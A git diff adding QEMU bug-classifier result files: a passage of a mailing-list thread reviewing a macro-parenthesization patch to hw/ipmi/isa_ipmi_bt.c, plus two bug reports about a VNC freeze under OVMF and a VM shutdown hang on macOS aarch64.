~IPMI_BT_HBUSY_MASK) | \ + ((((v) & 1) << IPMI_BT_HBUSY_BIT))) + +I think this is standard good practice when using macro parameters anyway. + +From: Corey Minyard <email address hidden> + +Macro parameters should almost always have () around them when used. +llvm reported an error on this. + +Reported in https://bugs.launchpad.net/bugs/1651167 + +Signed-off-by: Corey Minyard <email address hidden> +--- + hw/ipmi/isa_ipmi_bt.c | 18 +++++++++--------- + 1 file changed, 9 insertions(+), 9 deletions(-) + +diff --git a/hw/ipmi/isa_ipmi_bt.c b/hw/ipmi/isa_ipmi_bt.c +index f036617..8a97314 100644 +--- a/hw/ipmi/isa_ipmi_bt.c ++++ b/hw/ipmi/isa_ipmi_bt.c +@@ -40,37 +40,37 @@ + #define IPMI_BT_CLR_WR_MASK (1 << IPMI_BT_CLR_WR_BIT) + #define IPMI_BT_GET_CLR_WR(d) (((d) >> IPMI_BT_CLR_WR_BIT) & 0x1) + #define IPMI_BT_SET_CLR_WR(d, v) (d) = (((d) & ~IPMI_BT_CLR_WR_MASK) | \ +- (((v & 1) << IPMI_BT_CLR_WR_BIT))) ++ ((((v) & 1) << IPMI_BT_CLR_WR_BIT))) + + #define IPMI_BT_CLR_RD_MASK (1 << IPMI_BT_CLR_RD_BIT) + #define IPMI_BT_GET_CLR_RD(d) (((d) >> IPMI_BT_CLR_RD_BIT) & 0x1) + #define IPMI_BT_SET_CLR_RD(d, v) (d) = (((d) & ~IPMI_BT_CLR_RD_MASK) | \ +- (((v & 1) << IPMI_BT_CLR_RD_BIT))) ++ ((((v) & 1) << IPMI_BT_CLR_RD_BIT))) + + #define IPMI_BT_H2B_ATN_MASK (1 << IPMI_BT_H2B_ATN_BIT) + #define IPMI_BT_GET_H2B_ATN(d) (((d) >> IPMI_BT_H2B_ATN_BIT) & 0x1) + #define IPMI_BT_SET_H2B_ATN(d, v) (d) = (((d) & ~IPMI_BT_H2B_ATN_MASK) | \ +- (((v & 1) << IPMI_BT_H2B_ATN_BIT))) ++ ((((v) & 1) << IPMI_BT_H2B_ATN_BIT))) + + #define IPMI_BT_B2H_ATN_MASK (1 << IPMI_BT_B2H_ATN_BIT) + #define IPMI_BT_GET_B2H_ATN(d) (((d) >> IPMI_BT_B2H_ATN_BIT) & 0x1) + #define IPMI_BT_SET_B2H_ATN(d, v) (d) = (((d) & ~IPMI_BT_B2H_ATN_MASK) | \ +- (((v & 1) << IPMI_BT_B2H_ATN_BIT))) ++ ((((v) & 1) << IPMI_BT_B2H_ATN_BIT))) + + #define IPMI_BT_SMS_ATN_MASK (1 << IPMI_BT_SMS_ATN_BIT) + #define IPMI_BT_GET_SMS_ATN(d) (((d) >> IPMI_BT_SMS_ATN_BIT) & 0x1) + #define IPMI_BT_SET_SMS_ATN(d, v) (d) = (((d) & ~IPMI_BT_SMS_ATN_MASK) | \ +- (((v & 1) << IPMI_BT_SMS_ATN_BIT))) ++ ((((v) & 1) << IPMI_BT_SMS_ATN_BIT))) + + #define IPMI_BT_HBUSY_MASK (1 << IPMI_BT_HBUSY_BIT) + #define IPMI_BT_GET_HBUSY(d) (((d) >> IPMI_BT_HBUSY_BIT) & 0x1) + #define IPMI_BT_SET_HBUSY(d, v) (d) = (((d) & ~IPMI_BT_HBUSY_MASK) | \ +- (((v & 1) << IPMI_BT_HBUSY_BIT))) ++ ((((v) & 1) << IPMI_BT_HBUSY_BIT))) + + #define IPMI_BT_BBUSY_MASK (1 << IPMI_BT_BBUSY_BIT) + #define IPMI_BT_GET_BBUSY(d) (((d) >> IPMI_BT_BBUSY_BIT) & 0x1) + #define IPMI_BT_SET_BBUSY(d, v) (d) = (((d) & ~IPMI_BT_BBUSY_MASK) | \ +- (((v & 1) << IPMI_BT_BBUSY_BIT))) ++ ((((v) & 1) << IPMI_BT_BBUSY_BIT))) + + + /* Mask register */ +@@ -80,12 +80,12 @@ + #define IPMI_BT_B2H_IRQ_EN_MASK (1 << IPMI_BT_B2H_IRQ_EN_BIT) + #define IPMI_BT_GET_B2H_IRQ_EN(d) (((d) >> IPMI_BT_B2H_IRQ_EN_BIT) & 0x1) + #define IPMI_BT_SET_B2H_IRQ_EN(d, v) (d) = (((d) & ~IPMI_BT_B2H_IRQ_EN_MASK) | \ +- (((v & 1) << IPMI_BT_B2H_IRQ_EN_BIT))) ++ ((((v) & 1) << IPMI_BT_B2H_IRQ_EN_BIT))) + + #define IPMI_BT_B2H_IRQ_MASK (1 << IPMI_BT_B2H_IRQ_BIT) + #define IPMI_BT_GET_B2H_IRQ(d) (((d) >> IPMI_BT_B2H_IRQ_BIT) & 0x1) + #define IPMI_BT_SET_B2H_IRQ(d, v) (d) = (((d) & ~IPMI_BT_B2H_IRQ_MASK) | \ +- (((v & 1) << IPMI_BT_B2H_IRQ_BIT))) ++ ((((v) & 1) << IPMI_BT_B2H_IRQ_BIT))) + + typedef struct IPMIBT { + IPMIBmc *bmc; +-- +2.7.4 + + + +On 12/22/2016 08:30 AM, <email address hidden> wrote: +> From: Corey Minyard <email address hidden> +> +> Macro parameters should almost always have () around them when used. +> llvm reported an error on this. +> +> Reported in https://bugs.launchpad.net/bugs/1651167 +> +> Signed-off-by: Corey Minyard <email address hidden> +> --- +> hw/ipmi/isa_ipmi_bt.c | 18 +++++++++--------- +> 1 file changed, 9 insertions(+), 9 deletions(-) +> +> diff --git a/hw/ipmi/isa_ipmi_bt.c b/hw/ipmi/isa_ipmi_bt.c +> index f036617..8a97314 100644 +> --- a/hw/ipmi/isa_ipmi_bt.c +> +++ b/hw/ipmi/isa_ipmi_bt.c +> @@ -40,37 +40,37 @@ +> #define IPMI_BT_CLR_WR_MASK (1 << IPMI_BT_CLR_WR_BIT) +> #define IPMI_BT_GET_CLR_WR(d) (((d) >> IPMI_BT_CLR_WR_BIT) & 0x1) +> #define IPMI_BT_SET_CLR_WR(d, v) (d) = (((d) & ~IPMI_BT_CLR_WR_MASK) | \ + +Still under-parenthesized, if the result of IPMI_BT_SET_CLR_WR() is used +in any larger expression; + +> - (((v & 1) << IPMI_BT_CLR_WR_BIT))) +> + ((((v) & 1) << IPMI_BT_CLR_WR_BIT))) + +and at the same time, you (still) have a redundant set on the second line. + +Better would be: + +((d) = (((d) & ~IPMI_BD_CLR_WR_MASK) | \ + (((v) & 1) << IPMI_BT_CLR_WR_BIT))) + +> +> #define IPMI_BT_CLR_RD_MASK (1 << IPMI_BT_CLR_RD_BIT) +> #define IPMI_BT_GET_CLR_RD(d) (((d) >> IPMI_BT_CLR_RD_BIT) & 0x1) +> #define IPMI_BT_SET_CLR_RD(d, v) (d) = (((d) & ~IPMI_BT_CLR_RD_MASK) | \ +> - (((v & 1) << IPMI_BT_CLR_RD_BIT))) +> + ((((v) & 1) << IPMI_BT_CLR_RD_BIT))) + +and again, throughout the patch. + + +-- +Eric Blake eblake redhat com +1-919-301-3266 +Libvirt virtualization library http://libvirt.org + + + +On 12/22/2016 09:01 AM, Eric Blake wrote: +> On 12/22/2016 08:30 AM, <email address hidden> wrote: +>> From: Corey Minyard <email address hidden> +>> +>> Macro parameters should almost always have () around them when used. +>> llvm reported an error on this. +>> +>> Reported in https://bugs.launchpad.net/bugs/1651167 +>> +>> Signed-off-by: Corey Minyard <email address hidden> +>> --- +>> hw/ipmi/isa_ipmi_bt.c | 18 +++++++++--------- +>> 1 file changed, 9 insertions(+), 9 deletions(-) +>> +>> diff --git a/hw/ipmi/isa_ipmi_bt.c b/hw/ipmi/isa_ipmi_bt.c +>> index f036617..8a97314 100644 +>> --- a/hw/ipmi/isa_ipmi_bt.c +>> +++ b/hw/ipmi/isa_ipmi_bt.c +>> @@ -40,37 +40,37 @@ +>> #define IPMI_BT_CLR_WR_MASK (1 << IPMI_BT_CLR_WR_BIT) +>> #define IPMI_BT_GET_CLR_WR(d) (((d) >> IPMI_BT_CLR_WR_BIT) & 0x1) +>> #define IPMI_BT_SET_CLR_WR(d, v) (d) = (((d) & ~IPMI_BT_CLR_WR_MASK) | \ +> Still under-parenthesized, if the result of IPMI_BT_SET_CLR_WR() is used +> in any larger expression; + +I wasn't thinking about this being used in a larger expression, but it +should be protected, +I suppose. I'll re-submit with that fixed and the extra () removed. + +Thanks, + +-corey + +>> - (((v & 1) << IPMI_BT_CLR_WR_BIT))) +>> + ((((v) & 1) << IPMI_BT_CLR_WR_BIT))) +> and at the same time, you (still) have a redundant set on the second line. +> +> Better would be: +> +> ((d) = (((d) & ~IPMI_BD_CLR_WR_MASK) | \ +> (((v) & 1) << IPMI_BT_CLR_WR_BIT))) +> +>> +>> #define IPMI_BT_CLR_RD_MASK (1 << IPMI_BT_CLR_RD_BIT) +>> #define IPMI_BT_GET_CLR_RD(d) (((d) >> IPMI_BT_CLR_RD_BIT) & 0x1) +>> #define IPMI_BT_SET_CLR_RD(d, v) (d) = (((d) & ~IPMI_BT_CLR_RD_MASK) | \ +>> - (((v & 1) << IPMI_BT_CLR_RD_BIT))) +>> + ((((v) & 1) << IPMI_BT_CLR_RD_BIT))) +> and again, throughout the patch. +> +> + + + +From: Corey Minyard <email address hidden> + +Macro parameters should almost always have () around them when used. +llvm reported an error on this. + +Remove redundant parenthesis and put parenthesis around the entire +macros with assignments in case they are used in an expression. + +Remove some unused macros. + +Reported in https://bugs.launchpad.net/bugs/1651167 + +Signed-off-by: Corey Minyard <email address hidden> +--- + hw/ipmi/isa_ipmi_bt.c | 34 ++++++++++++---------------------- + 1 file changed, 12 insertions(+), 22 deletions(-) + +Changes in v2: + * Put parenthesis around macros that had assignment in them. + * Removed some redundant parenthesis. + * Removed some macros that were not used. + +diff --git a/hw/ipmi/isa_ipmi_bt.c b/hw/ipmi/isa_ipmi_bt.c +index f036617..68bf5cd 100644 +--- a/hw/ipmi/isa_ipmi_bt.c ++++ b/hw/ipmi/isa_ipmi_bt.c +@@ -37,40 +37,30 @@ + #define IPMI_BT_HBUSY_BIT 6 + #define IPMI_BT_BBUSY_BIT 7 + +-#define IPMI_BT_CLR_WR_MASK (1 << IPMI_BT_CLR_WR_BIT) + #define IPMI_BT_GET_CLR_WR(d) (((d) >> IPMI_BT_CLR_WR_BIT) & 0x1) +-#define IPMI_BT_SET_CLR_WR(d, v) (d) = (((d) & ~IPMI_BT_CLR_WR_MASK) | \ +- (((v & 1) << IPMI_BT_CLR_WR_BIT))) + +-#define IPMI_BT_CLR_RD_MASK (1 << IPMI_BT_CLR_RD_BIT) + #define IPMI_BT_GET_CLR_RD(d) (((d) >> IPMI_BT_CLR_RD_BIT) & 0x1) +-#define IPMI_BT_SET_CLR_RD(d, v) (d) = (((d) & ~IPMI_BT_CLR_RD_MASK) | \ +- (((v & 1) << IPMI_BT_CLR_RD_BIT))) + +-#define IPMI_BT_H2B_ATN_MASK (1 << IPMI_BT_H2B_ATN_BIT) + #define IPMI_BT_GET_H2B_ATN(d) (((d) >> IPMI_BT_H2B_ATN_BIT) & 0x1) +-#define IPMI_BT_SET_H2B_ATN(d, v) (d) = (((d) & ~IPMI_BT_H2B_ATN_MASK) | \ +- (((v & 1) << IPMI_BT_H2B_ATN_BIT))) + + #define IPMI_BT_B2H_ATN_MASK (1 << IPMI_BT_B2H_ATN_BIT) + #define IPMI_BT_GET_B2H_ATN(d) (((d) >> IPMI_BT_B2H_ATN_BIT) & 0x1) +-#define IPMI_BT_SET_B2H_ATN(d, v) (d) = (((d) & ~IPMI_BT_B2H_ATN_MASK) | \ +- (((v & 1) << IPMI_BT_B2H_ATN_BIT))) ++#define IPMI_BT_SET_B2H_ATN(d, v) ((d) = (((d) & ~IPMI_BT_B2H_ATN_MASK) | \ ++ (((v) & 1) << IPMI_BT_B2H_ATN_BIT))) + + #define IPMI_BT_SMS_ATN_MASK (1 << IPMI_BT_SMS_ATN_BIT) + #define IPMI_BT_GET_SMS_ATN(d) (((d) >> IPMI_BT_SMS_ATN_BIT) & 0x1) +-#define IPMI_BT_SET_SMS_ATN(d, v) (d) = (((d) & ~IPMI_BT_SMS_ATN_MASK) | \ +- (((v & 1) << IPMI_BT_SMS_ATN_BIT))) ++#define IPMI_BT_SET_SMS_ATN(d, v) ((d) = (((d) & ~IPMI_BT_SMS_ATN_MASK) | \ ++ (((v) & 1) << IPMI_BT_SMS_ATN_BIT))) + + #define IPMI_BT_HBUSY_MASK (1 << IPMI_BT_HBUSY_BIT) + #define IPMI_BT_GET_HBUSY(d) (((d) >> IPMI_BT_HBUSY_BIT) & 0x1) +-#define IPMI_BT_SET_HBUSY(d, v) (d) = (((d) & ~IPMI_BT_HBUSY_MASK) | \ +- (((v & 1) << IPMI_BT_HBUSY_BIT))) ++#define IPMI_BT_SET_HBUSY(d, v) ((d) = (((d) & ~IPMI_BT_HBUSY_MASK) | \ ++ (((v) & 1) << IPMI_BT_HBUSY_BIT))) + + #define IPMI_BT_BBUSY_MASK (1 << IPMI_BT_BBUSY_BIT) +-#define IPMI_BT_GET_BBUSY(d) (((d) >> IPMI_BT_BBUSY_BIT) & 0x1) +-#define IPMI_BT_SET_BBUSY(d, v) (d) = (((d) & ~IPMI_BT_BBUSY_MASK) | \ +- (((v & 1) << IPMI_BT_BBUSY_BIT))) ++#define IPMI_BT_SET_BBUSY(d, v) ((d) = (((d) & ~IPMI_BT_BBUSY_MASK) | \ ++ (((v) & 1) << IPMI_BT_BBUSY_BIT))) + + + /* Mask register */ +@@ -79,13 +69,13 @@ + + #define IPMI_BT_B2H_IRQ_EN_MASK (1 << IPMI_BT_B2H_IRQ_EN_BIT) + #define IPMI_BT_GET_B2H_IRQ_EN(d) (((d) >> IPMI_BT_B2H_IRQ_EN_BIT) & 0x1) +-#define IPMI_BT_SET_B2H_IRQ_EN(d, v) (d) = (((d) & ~IPMI_BT_B2H_IRQ_EN_MASK) | \ +- (((v & 1) << IPMI_BT_B2H_IRQ_EN_BIT))) ++#define IPMI_BT_SET_B2H_IRQ_EN(d, v) ((d) = (((d) & ~IPMI_BT_B2H_IRQ_EN_MASK) |\ ++ (((v) & 1) << IPMI_BT_B2H_IRQ_EN_BIT))) + + #define IPMI_BT_B2H_IRQ_MASK (1 << IPMI_BT_B2H_IRQ_BIT) + #define IPMI_BT_GET_B2H_IRQ(d) (((d) >> IPMI_BT_B2H_IRQ_BIT) & 0x1) +-#define IPMI_BT_SET_B2H_IRQ(d, v) (d) = (((d) & ~IPMI_BT_B2H_IRQ_MASK) | \ +- (((v & 1) << IPMI_BT_B2H_IRQ_BIT))) ++#define IPMI_BT_SET_B2H_IRQ(d, v) ((d) = (((d) & ~IPMI_BT_B2H_IRQ_MASK) | \ ++ (((v) & 1) << IPMI_BT_B2H_IRQ_BIT))) + + typedef struct IPMIBT { + IPMIBmc *bmc; +-- +2.7.4 + + + +On 12/22/2016 01:18 PM, <email address hidden> wrote: +> From: Corey Minyard <email address hidden> +> +> Macro parameters should almost always have () around them when used. +> llvm reported an error on this. +> +> Remove redundant parenthesis and put parenthesis around the entire +> macros with assignments in case they are used in an expression. +> +> Remove some unused macros. +> +> Reported in https://bugs.launchpad.net/bugs/1651167 +> +> Signed-off-by: Corey Minyard <email address hidden> +> --- +> hw/ipmi/isa_ipmi_bt.c | 34 ++++++++++++---------------------- +> 1 file changed, 12 insertions(+), 22 deletions(-) + +Reviewed-by: Eric Blake <email address hidden> + +-- +Eric Blake eblake redhat com +1-919-301-3266 +Libvirt virtualization library http://libvirt.org + + + +From: Corey Minyard <email address hidden> + +Macro parameters should almost always have () around them when used. +llvm reported an error on this. + +Remove redundant parenthesis and put parenthesis around the entire +macros with assignments in case they are used in an expression. + +Remove some unused macros. + +Reported in https://bugs.launchpad.net/bugs/1651167 + +Signed-off-by: Corey Minyard <email address hidden> +Reviewed-by: Eric Blake <email address hidden> +--- + hw/ipmi/isa_ipmi_bt.c | 34 ++++++++++++---------------------- + 1 file changed, 12 insertions(+), 22 deletions(-) + +Changed in v3: + * Add Eric's reviewed-by. Thanks! + +Changes in v2: + * Put parenthesis around macros that had assignment in them. + * Removed some redundant parenthesis. + * Removed some macros that were not used. + +diff --git a/hw/ipmi/isa_ipmi_bt.c b/hw/ipmi/isa_ipmi_bt.c +index f036617..68bf5cd 100644 +--- a/hw/ipmi/isa_ipmi_bt.c ++++ b/hw/ipmi/isa_ipmi_bt.c +@@ -37,40 +37,30 @@ + #define IPMI_BT_HBUSY_BIT 6 + #define IPMI_BT_BBUSY_BIT 7 + +-#define IPMI_BT_CLR_WR_MASK (1 << IPMI_BT_CLR_WR_BIT) + #define IPMI_BT_GET_CLR_WR(d) (((d) >> IPMI_BT_CLR_WR_BIT) & 0x1) +-#define IPMI_BT_SET_CLR_WR(d, v) (d) = (((d) & ~IPMI_BT_CLR_WR_MASK) | \ +- (((v & 1) << IPMI_BT_CLR_WR_BIT))) + +-#define IPMI_BT_CLR_RD_MASK (1 << IPMI_BT_CLR_RD_BIT) + #define IPMI_BT_GET_CLR_RD(d) (((d) >> IPMI_BT_CLR_RD_BIT) & 0x1) +-#define IPMI_BT_SET_CLR_RD(d, v) (d) = (((d) & ~IPMI_BT_CLR_RD_MASK) | \ +- (((v & 1) << IPMI_BT_CLR_RD_BIT))) + +-#define IPMI_BT_H2B_ATN_MASK (1 << IPMI_BT_H2B_ATN_BIT) + #define IPMI_BT_GET_H2B_ATN(d) (((d) >> IPMI_BT_H2B_ATN_BIT) & 0x1) +-#define IPMI_BT_SET_H2B_ATN(d, v) (d) = (((d) & ~IPMI_BT_H2B_ATN_MASK) | \ +- (((v & 1) << IPMI_BT_H2B_ATN_BIT))) + + #define IPMI_BT_B2H_ATN_MASK (1 << IPMI_BT_B2H_ATN_BIT) + #define IPMI_BT_GET_B2H_ATN(d) (((d) >> IPMI_BT_B2H_ATN_BIT) & 0x1) +-#define IPMI_BT_SET_B2H_ATN(d, v) (d) = (((d) & ~IPMI_BT_B2H_ATN_MASK) | \ +- (((v & 1) << IPMI_BT_B2H_ATN_BIT))) ++#define IPMI_BT_SET_B2H_ATN(d, v) ((d) = (((d) & ~IPMI_BT_B2H_ATN_MASK) | \ ++ (((v) & 1) << IPMI_BT_B2H_ATN_BIT))) + + #define IPMI_BT_SMS_ATN_MASK (1 << IPMI_BT_SMS_ATN_BIT) + #define IPMI_BT_GET_SMS_ATN(d) (((d) >> IPMI_BT_SMS_ATN_BIT) & 0x1) +-#define IPMI_BT_SET_SMS_ATN(d, v) (d) = (((d) & ~IPMI_BT_SMS_ATN_MASK) | \ +- (((v & 1) << IPMI_BT_SMS_ATN_BIT))) ++#define IPMI_BT_SET_SMS_ATN(d, v) ((d) = (((d) & ~IPMI_BT_SMS_ATN_MASK) | \ ++ (((v) & 1) << IPMI_BT_SMS_ATN_BIT))) + + #define IPMI_BT_HBUSY_MASK (1 << IPMI_BT_HBUSY_BIT) + #define IPMI_BT_GET_HBUSY(d) (((d) >> IPMI_BT_HBUSY_BIT) & 0x1) +-#define IPMI_BT_SET_HBUSY(d, v) (d) = (((d) & ~IPMI_BT_HBUSY_MASK) | \ +- (((v & 1) << IPMI_BT_HBUSY_BIT))) ++#define IPMI_BT_SET_HBUSY(d, v) ((d) = (((d) & ~IPMI_BT_HBUSY_MASK) | \ ++ (((v) & 1) << IPMI_BT_HBUSY_BIT))) + + #define IPMI_BT_BBUSY_MASK (1 << IPMI_BT_BBUSY_BIT) +-#define IPMI_BT_GET_BBUSY(d) (((d) >> IPMI_BT_BBUSY_BIT) & 0x1) +-#define IPMI_BT_SET_BBUSY(d, v) (d) = (((d) & ~IPMI_BT_BBUSY_MASK) | \ +- (((v & 1) << IPMI_BT_BBUSY_BIT))) ++#define IPMI_BT_SET_BBUSY(d, v) ((d) = (((d) & ~IPMI_BT_BBUSY_MASK) | \ ++ (((v) & 1) << IPMI_BT_BBUSY_BIT))) + + + /* Mask register */ +@@ -79,13 +69,13 @@ + + #define IPMI_BT_B2H_IRQ_EN_MASK (1 << IPMI_BT_B2H_IRQ_EN_BIT) + #define IPMI_BT_GET_B2H_IRQ_EN(d) (((d) >> IPMI_BT_B2H_IRQ_EN_BIT) & 0x1) +-#define IPMI_BT_SET_B2H_IRQ_EN(d, v) (d) = (((d) & ~IPMI_BT_B2H_IRQ_EN_MASK) | \ +- (((v & 1) << IPMI_BT_B2H_IRQ_EN_BIT))) ++#define IPMI_BT_SET_B2H_IRQ_EN(d, v) ((d) = (((d) & ~IPMI_BT_B2H_IRQ_EN_MASK) |\ ++ (((v) & 1) << IPMI_BT_B2H_IRQ_EN_BIT))) + + #define IPMI_BT_B2H_IRQ_MASK (1 << IPMI_BT_B2H_IRQ_BIT) + #define IPMI_BT_GET_B2H_IRQ(d) (((d) >> IPMI_BT_B2H_IRQ_BIT) & 0x1) +-#define IPMI_BT_SET_B2H_IRQ(d, v) (d) = (((d) & ~IPMI_BT_B2H_IRQ_MASK) | \ +- (((v & 1) << IPMI_BT_B2H_IRQ_BIT))) ++#define IPMI_BT_SET_B2H_IRQ(d, v) ((d) = (((d) & ~IPMI_BT_B2H_IRQ_MASK) | \ ++ (((v) & 1) << IPMI_BT_B2H_IRQ_BIT))) + + typedef struct IPMIBT { + IPMIBmc *bmc; +-- +2.7.4 + + + +Ping - did this ever get applied? + +On 12/23/2016 08:07 AM, <email address hidden> wrote: +> From: Corey Minyard <email address hidden> +> +> Macro parameters should almost always have () around them when used. +> llvm reported an error on this. +> +> Remove redundant parenthesis and put parenthesis around the entire +> macros with assignments in case they are used in an expression. +> +> Remove some unused macros. +> +> Reported in https://bugs.launchpad.net/bugs/1651167 +> +> Signed-off-by: Corey Minyard <email address hidden> +> Reviewed-by: Eric Blake <email address hidden> +> --- +> hw/ipmi/isa_ipmi_bt.c | 34 ++++++++++++---------------------- +> 1 file changed, 12 insertions(+), 22 deletions(-) +> +> Changed in v3: +> * Add Eric's reviewed-by. Thanks! +> +> Changes in v2: +> * Put parenthesis around macros that had assignment in them. +> * Removed some redundant parenthesis. +> * Removed some macros that were not used. +> +> diff --git a/hw/ipmi/isa_ipmi_bt.c b/hw/ipmi/isa_ipmi_bt.c +> index f036617..68bf5cd 100644 +> --- a/hw/ipmi/isa_ipmi_bt.c +> +++ b/hw/ipmi/isa_ipmi_bt.c +> @@ -37,40 +37,30 @@ +> #define IPMI_BT_HBUSY_BIT 6 +> #define IPMI_BT_BBUSY_BIT 7 +> +> -#define IPMI_BT_CLR_WR_MASK (1 << IPMI_BT_CLR_WR_BIT) +> #define IPMI_BT_GET_CLR_WR(d) (((d) >> IPMI_BT_CLR_WR_BIT) & 0x1) +> -#define IPMI_BT_SET_CLR_WR(d, v) (d) = (((d) & ~IPMI_BT_CLR_WR_MASK) | \ +> - (((v & 1) << IPMI_BT_CLR_WR_BIT))) +> +> -#define IPMI_BT_CLR_RD_MASK (1 << IPMI_BT_CLR_RD_BIT) +> #define IPMI_BT_GET_CLR_RD(d) (((d) >> IPMI_BT_CLR_RD_BIT) & 0x1) +> -#define IPMI_BT_SET_CLR_RD(d, v) (d) = (((d) & ~IPMI_BT_CLR_RD_MASK) | \ +> - (((v & 1) << IPMI_BT_CLR_RD_BIT))) +> +> -#define IPMI_BT_H2B_ATN_MASK (1 << IPMI_BT_H2B_ATN_BIT) +> #define IPMI_BT_GET_H2B_ATN(d) (((d) >> IPMI_BT_H2B_ATN_BIT) & 0x1) +> -#define IPMI_BT_SET_H2B_ATN(d, v) (d) = (((d) & ~IPMI_BT_H2B_ATN_MASK) | \ +> - (((v & 1) << IPMI_BT_H2B_ATN_BIT))) +> +> #define IPMI_BT_B2H_ATN_MASK (1 << IPMI_BT_B2H_ATN_BIT) +> #define IPMI_BT_GET_B2H_ATN(d) (((d) >> IPMI_BT_B2H_ATN_BIT) & 0x1) +> -#define IPMI_BT_SET_B2H_ATN(d, v) (d) = (((d) & ~IPMI_BT_B2H_ATN_MASK) | \ +> - (((v & 1) << IPMI_BT_B2H_ATN_BIT))) +> +#define IPMI_BT_SET_B2H_ATN(d, v) ((d) = (((d) & ~IPMI_BT_B2H_ATN_MASK) | \ +> + (((v) & 1) << IPMI_BT_B2H_ATN_BIT))) +> +> #define IPMI_BT_SMS_ATN_MASK (1 << IPMI_BT_SMS_ATN_BIT) +> #define IPMI_BT_GET_SMS_ATN(d) (((d) >> IPMI_BT_SMS_ATN_BIT) & 0x1) +> -#define IPMI_BT_SET_SMS_ATN(d, v) (d) = (((d) & ~IPMI_BT_SMS_ATN_MASK) | \ +> - (((v & 1) << IPMI_BT_SMS_ATN_BIT))) +> +#define IPMI_BT_SET_SMS_ATN(d, v) ((d) = (((d) & ~IPMI_BT_SMS_ATN_MASK) | \ +> + (((v) & 1) << IPMI_BT_SMS_ATN_BIT))) +> +> #define IPMI_BT_HBUSY_MASK (1 << IPMI_BT_HBUSY_BIT) +> #define IPMI_BT_GET_HBUSY(d) (((d) >> IPMI_BT_HBUSY_BIT) & 0x1) +> -#define IPMI_BT_SET_HBUSY(d, v) (d) = (((d) & ~IPMI_BT_HBUSY_MASK) | \ +> - (((v & 1) << IPMI_BT_HBUSY_BIT))) +> +#define IPMI_BT_SET_HBUSY(d, v) ((d) = (((d) & ~IPMI_BT_HBUSY_MASK) | \ +> + (((v) & 1) << IPMI_BT_HBUSY_BIT))) +> +> #define IPMI_BT_BBUSY_MASK (1 << IPMI_BT_BBUSY_BIT) +> -#define IPMI_BT_GET_BBUSY(d) (((d) >> IPMI_BT_BBUSY_BIT) & 0x1) +> -#define IPMI_BT_SET_BBUSY(d, v) (d) = (((d) & ~IPMI_BT_BBUSY_MASK) | \ +> - (((v & 1) << IPMI_BT_BBUSY_BIT))) +> +#define IPMI_BT_SET_BBUSY(d, v) ((d) = (((d) & ~IPMI_BT_BBUSY_MASK) | \ +> + (((v) & 1) << IPMI_BT_BBUSY_BIT))) +> +> +> /* Mask register */ +> @@ -79,13 +69,13 @@ +> +> #define IPMI_BT_B2H_IRQ_EN_MASK (1 << IPMI_BT_B2H_IRQ_EN_BIT) +> #define IPMI_BT_GET_B2H_IRQ_EN(d) (((d) >> IPMI_BT_B2H_IRQ_EN_BIT) & 0x1) +> -#define IPMI_BT_SET_B2H_IRQ_EN(d, v) (d) = (((d) & ~IPMI_BT_B2H_IRQ_EN_MASK) | \ +> - (((v & 1) << IPMI_BT_B2H_IRQ_EN_BIT))) +> +#define IPMI_BT_SET_B2H_IRQ_EN(d, v) ((d) = (((d) & ~IPMI_BT_B2H_IRQ_EN_MASK) |\ +> + (((v) & 1) << IPMI_BT_B2H_IRQ_EN_BIT))) +> +> #define IPMI_BT_B2H_IRQ_MASK (1 << IPMI_BT_B2H_IRQ_BIT) +> #define IPMI_BT_GET_B2H_IRQ(d) (((d) >> IPMI_BT_B2H_IRQ_BIT) & 0x1) +> -#define IPMI_BT_SET_B2H_IRQ(d, v) (d) = (((d) & ~IPMI_BT_B2H_IRQ_MASK) | \ +> - (((v & 1) << IPMI_BT_B2H_IRQ_BIT))) +> +#define IPMI_BT_SET_B2H_IRQ(d, v) ((d) = (((d) & ~IPMI_BT_B2H_IRQ_MASK) | \ +> + (((v) & 1) << IPMI_BT_B2H_IRQ_BIT))) +> +> typedef struct IPMIBT { +> IPMIBmc *bmc; +> + +-- +Eric Blake eblake redhat com +1-919-301-3266 +Libvirt virtualization library http://libvirt.org + + + +Fix has been included here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=cb9a05a4f169347f85 + diff --git a/results/classifier/108/graphic/1653 b/results/classifier/108/graphic/1653 new file mode 100644 index 000000000..29d2362e4 --- /dev/null +++ b/results/classifier/108/graphic/1653 @@ -0,0 +1,35 @@ +graphic: 0.955 +vnc: 0.917 +performance: 0.885 +device: 0.811 +network: 0.786 +debug: 0.713 +semantic: 0.704 +other: 0.702 +PID: 0.625 +boot: 0.562 +socket: 0.501 +files: 0.452 +permissions: 0.374 +KVM: 0.228 + +qemu uses uefi to install the redhad6.0 VM, use the vnc connect it which is stuck +Description of problem: +I want to use uefi(udk2-->ovmf.fd) to install redhad6.0, but after I enter uefi and start up, I cannot use vnc to connect to it,The screen is black or often stuck, nor can I use the console of other pages, or it is a special slow to be able to use it. It's sure that the virtual machine is not crash. Anad the same operation is normal for redhad6.1 systems. +Steps to reproduce: +1.compile udk2 generate ovmf.fd +compile config: + +make -C BaseTools/Source/C + +./OvmfPkg/build.sh -D DEBUG_ON_SERIAL_PORT=true + + +2.run qemu with "-bios /bin/OVMF.fd" + + +3.use vnc to connet it + + + +The screen is stuck can't handle it. diff --git a/results/classifier/108/graphic/1659 b/results/classifier/108/graphic/1659 new file mode 100644 index 000000000..d5458e06d --- /dev/null +++ b/results/classifier/108/graphic/1659 @@ -0,0 +1,42 @@ +graphic: 0.928 +vnc: 0.719 +performance: 0.699 +debug: 0.699 +device: 0.694 +files: 0.636 +PID: 0.620 +semantic: 0.590 +permissions: 0.533 +boot: 0.400 +socket: 0.384 +other: 0.336 +network: 0.330 +KVM: 0.041 + +x86 vm fails to stop on Darwin aarch64 when qemu compiled with -O1/-O2 +Description of problem: +When compiled with `-O2` or `-O1` qemu process hangs on full VM stopping on macOS aarch64 host if `shutdown -P now` initiated from guest system. +Steps to reproduce: +1. Compile latest qemu version with -O2 (default value) or -O1 passed +2. Run qemu-system-x86_64 with ubuntu image, e.g. https://cloud-images.ubuntu.com/focal/20230215/focal-server-cloudimg-amd64.img and custom cloud-init (for user/password authentication) +3. Wait until image is loaded, connect via vnc or provide login/password in stdio +4. Initiate shutdown with `sudo shutdown -P now` +5. See that VM indefinitely shutdowns +6. Kill VM from host system with kill -9 <qemu-system-x86_64-process-pid> +7. Recompile qemu with -O0 +8. Repeat steps 2-4 +9. See that vm successfully stopped, and qemu process exited with code 0 +Additional information: +I've created thread dump from activity monitor with threads which qemu hanging on, attached below +[sample-qemu-system-x86_64.txt](/uploads/119b89b7f55f4374acb9ae1f9dc2e517/sample-qemu-system-x86_64.txt) + 